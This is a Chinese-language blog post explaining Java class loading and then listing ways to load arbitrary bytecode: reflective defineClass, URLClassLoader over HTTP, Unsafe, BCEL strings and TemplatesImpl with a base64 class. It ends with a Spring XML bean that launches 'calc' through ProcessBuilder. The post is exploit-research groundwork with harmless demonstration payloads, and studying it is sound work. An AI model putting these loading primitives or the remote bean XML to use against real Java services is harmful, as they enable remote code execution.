Java类加载
类加载过程
加载:JVM将class文件加载到内存中,并生成class对象
连接(验证、准备、解析):JVM校验class对象的规范性等
初始化:JVM执行class对象中的静态代码块的语句和对静态变量的赋值操作
使用:创建实例化对象、调用方法等
卸载:
类加载机制
类加载源码
protected Class<?> loadClass(String name, boolean resolve)
throws ClassNotFoundException
{
synchronized (getClassLoadingLock(name)) {
// First, check if the class has already been loaded
Class<?> c = findLoadedClass(name);
if (c == null) {
long t0 = System.nanoTime();
try {
if (parent != null) {
c = parent.loadClass(name, false);
} else {
c = findBootstrapClassOrNull(name);
}
} catch (ClassNotFoundException e) {
// ClassNotFoundException thrown if class not found
// from the non-null parent class loader
}
if (c == null) {
// If still not found, then invoke findClass in order
// to find the class.
long t1 = System.nanoTime();
c = findClass(name);
// this is the defining class loader; record the stats
sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
sun.misc.PerfCounter.getFindClasses().increment();
}
}
if (resolve) {
resolveClass(c);
}
return c;
}
}
原理
首先判断类是否已经加载,如果已经加载就直接返回类。
如果类没有被加载就调用类加载器(AppClassLoader、BootstrapClassLoader)加载类。
如果调用类加载器仍然没有成功加载类,则使用findClass方法加载类。
类加载器
BootstrapClassLoader:默认加载%JAVA_HOME%中lib下的jar包和class类文件
ExtClassLoader:加载%JAVA_HOME%中lib/ext文件下的jar包和class类文件
AppClassLoader:负责加载classPath下的类文件,平时引用的jar包以及我们自己写的类
核心方法
loadClass
java.lang.ClassLoader#loadClass(java.lang.String)
默认不开启类解析
public Class<?> loadClass(String name) throws ClassNotFoundException {
return loadClass(name, false);
}
java.lang.ClassLoader#loadClass(java.lang.String, boolean)
可设置是否开启解析
findClass
findClass方法默认抛出异常,需要在使用过程中重写(一般重写实现从文件路径或URL获取到class文件),然后调用defineClass加载类
protected Class<?> findClass(String name) throws ClassNotFoundException {
throw new ClassNotFoundException(name);
}
defineClass
将字节数组转换为类 Class 的实例
类加载的方式
java原生类加载
Class#forName
java.lang.Class#forName(java.lang.String)
java.lang.Class#forName(java.lang.String, boolean, java.lang.ClassLoader)
ClassLoader#loadClass
java.lang.ClassLoader#loadClass(java.lang.String)
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
Class<?> clz = classLoader.loadClass("Calc");
clz.newInstance();
ClassLoader#findClass
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
Method findClass = ClassLoader.class.getDeclaredMethod("findClass", String.class);
findClass.setAccessible(true);
Class calc = (Class) findClass.invoke(classLoader, "Calc");
calc.newInstance();
ClassLoader#defineClass
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",String.class, byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("src/main/resources/Evil_bytecodes/Calc.class"));
Class calc = (Class) defineClassMethod.invoke(classLoader, "Calc", bytes, 0, bytes.length);
calc.newInstance();
其他方式加载
URLClassLoader#loadClass
URL支持的协议有file、http、jar
格式:
file:///path
jar:http://ip/!/
jar:file:///path!/
String url1 = "http://localhost:9999/";
String url2 = "file:///"+System.getProperty("user.dir")+"\\src\\main\\resources\\Evil_bytecodes\\";
String url3 = "jar:http://localhost:9999/!/";
String url4 = "jar:file:///"+System.getProperty("user.dir")+"\\src\\main\\resources\\Evil_bytecodes\\!/";
URL[] urls = {new URL(url1)};
URLClassLoader urlClassLoader = new URLClassLoader(urls);
Class<?> loadClass = urlClassLoader.loadClass("Calc");
loadClass.newInstance();
Unsafe#defineClass
Class clz = Unsafe.class;
Field theUnsafe = clz.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
byte[] bytes = Files.readAllBytes(Paths.get("src/main/resources/Evil_bytecodes/Calc.class"));
Class<?> calc = unsafe.defineClass("Calc", bytes, 0,bytes.length, classLoader,null);
calc.newInstance();
BCEL
JavaClass cls = Repository.lookupClass(ClassLoad.EvilClass.Calc.class);
String code = Utility.encode(cls.getBytes(), true);
String bcel_code = "$$BCEL$$" + code;
new com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass(bcel_code).newInstance();
System.out.println(code);
System.out.println(bcel_code);
TemplatesImpl
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void testTemplatesImpl() throws Exception {
byte[] code = Base64.decodeBase64("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE=");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();
}
类加载过程中代码执行情况
类加载过程中代码执行情况
加载阶段:不会执行代码。
连接阶段:不会执行代码。
初始化阶段:
类的初始化:静态代码块。
使用阶段
实例化对象:静态代码块,构造代码块,构造函数。
调用静态方法:静态代码块,静态方法。
类加载
Class.forName(String name)、ClassLoader.loadClass(String name) 默认开启初始化功能,在加载类时会自动执行类中的静态代码块
实例化
创建类的实例化对象过程中会执行构造代码块、无参构造函数|有参构造函数
import org.springframework.context.support.ClassPathXmlApplicationContext;
import org.springframework.context.support.FileSystemXmlApplicationContext;
public class test {
public static void main(String[] args) throws Exception {
String url = "http://localhost:8000/EvilBean.xml";
// new ClassPathXmlApplicationContext(url);
new FileSystemXmlApplicationContext(url);
}
}
EvilBean.xml
<?xml version="1.0" encoding="UTF-8" ?>
<beans
xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>
<value>calc</value>
</list>
</constructor-arg>
</bean>
</beans>
标签:Java,String,ClassLoader,class,loadClass,Class,加载
From: https://www.cnblogs.com/pacemrc/p/17578035.html